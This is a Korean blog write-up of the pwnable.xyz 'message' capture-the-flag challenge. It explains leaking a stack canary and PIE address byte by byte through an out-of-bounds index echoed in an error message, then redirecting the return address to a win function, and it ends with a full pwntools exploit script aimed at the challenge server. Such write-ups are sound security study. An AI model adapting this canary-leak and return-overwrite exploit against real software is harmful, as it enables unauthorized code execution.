상세 컨텐츠

본문 제목

[pwnable.xyz] message

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 2. 28. 18:55

본문

728x90
반응형

 


# Protection Tech

 


# process

 

scanf() 함수로 입력받지만 입력받은 문자 마지막에 개행문자를 붇이기 때문에 leak이 불가능하다.

 

 

get_choice() 함수에서 입력받은 값은 main함수의 eax 레지스터 값에 담겨서(v5 변수에 해당) error 메시지에서 출력해준다.

이것으로 cananry나 pie를 error 메시지에서 출력해준 것으로 1바이트씩 leak할 수 있다.

 

 

 

1) main 함수에서 v7에 message 입력 

- 0x28 바이트 입력한다.

 

 

 

위의 노란색 값이 canary이고, 아래 노란색 값이 return address이다.

return address에는 main 함수의 return address인 __libc_start_main+240이 들어있다.

이것으로 pie base와 offset을 구하면 pie base를 구할 수 있다.

 

 

v0~v11까지의 10의 offset 후에 rbp-0x8, 즉 canary가 위치한다.

그리고 48은 '0'으로 빼줌으로써 문자를 숫자로 만들고 있는데, 이것 때문에 '0'을 더한다.

'0'이 아스키코드로 0x30이므로 0x30을 추가로 더해주면 된다.

 

2) canary leak

 

- 위에서 0x30+10을 한 상태이다. 그럼 canary를 leak할 수 있다.

- 한 바이트씩 leak할 수 있으므로 반복문으로 i를 0부터 7번 반복해서 leak할 수 있도록 더한다.

- getchar()을 한 번 더 해주므로 sendline()으로 보낸다.

- error 메시지 출력되는 것에서 " "까지 받는데 그럼 스페이스 포함 3바이트를 recv한 상태이다.

이건 문자이므로 숫자로 바꾸기 위해 int형으로 바꾸고, 16진수로 바꾸기 위치 hex로 형변환을 또 한다.

그리고 스페이스를 제거하기 위해 [2:]로 슬라이스한다.

- 그리고 뒤에 '00'을 붙여준다.

 

 

3) pie leak

 

 

return address의 __libc_start_main+240과 pie base와의 offset을 구해서 return address leak 후 이 offset을 빼면 pie base를 구할 수 있다.

 

canary가 rbp-8에 있으므로 return address는 rbp+8이니까 canary leak할 때에서 0x10만큼 더해주면 된다. (rbp-8+8+8)

 

 

 

pie는 앞에 '0000'을 붙여준다.

 

4) return address -> win

 

win offset을 pie base에 더해서 win addr를 구해준 후, 구해준 canary를 넣고 return address에 win addr를 준다.


 

# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30017)

canary = ''
p.sendlineafter("Message: ", 'A'*0x28)
#gdb.attach(p)
for i in range(1, 8):
    p.sendlineafter("> ", chr(0x30+10+i))
    p.recvuntil("Error: ")
    byte = p.recvuntil(" ")
    log.info("byte : "+hex(int(byte[:2])))
    canary = hex(int(byte))[2:] + canary

canary += '00'
canary = int(canary, 16)

log.info("canary : "+hex(canary))
pie = ''
for i in range(6):
    p.sendlineafter("> ", chr(0x30+10+0x10+i))
    p.recvuntil("Error: ")
    byte = p.recvuntil(" ")
    log.info("byte : "+hex(int(byte)))
    pie = hex(int(byte))[2:] + pie
pie = int('0000'+pie, 16)
log.info("pie : "+hex(pie))
pie = pie - 0xb30 # pie base
win = pie + 0xaac

p.sendlineafter("> ", '1')
p.sendlineafter("Message: ", 'A'*(0x30-0x8) + p64(canary) + 'A'*8 + p64(win))
#gdb.attach(p)
p.sendlineafter("> ", '0')

p.interactive()

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] iape  (0) 2020.03.25
[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] badayum  (0) 2020.02.28
[pwnable.xyz] executioner  (0) 2020.02.28
[pwnable.xyz] J-U-M-P  (0) 2020.02.28

관련글 더보기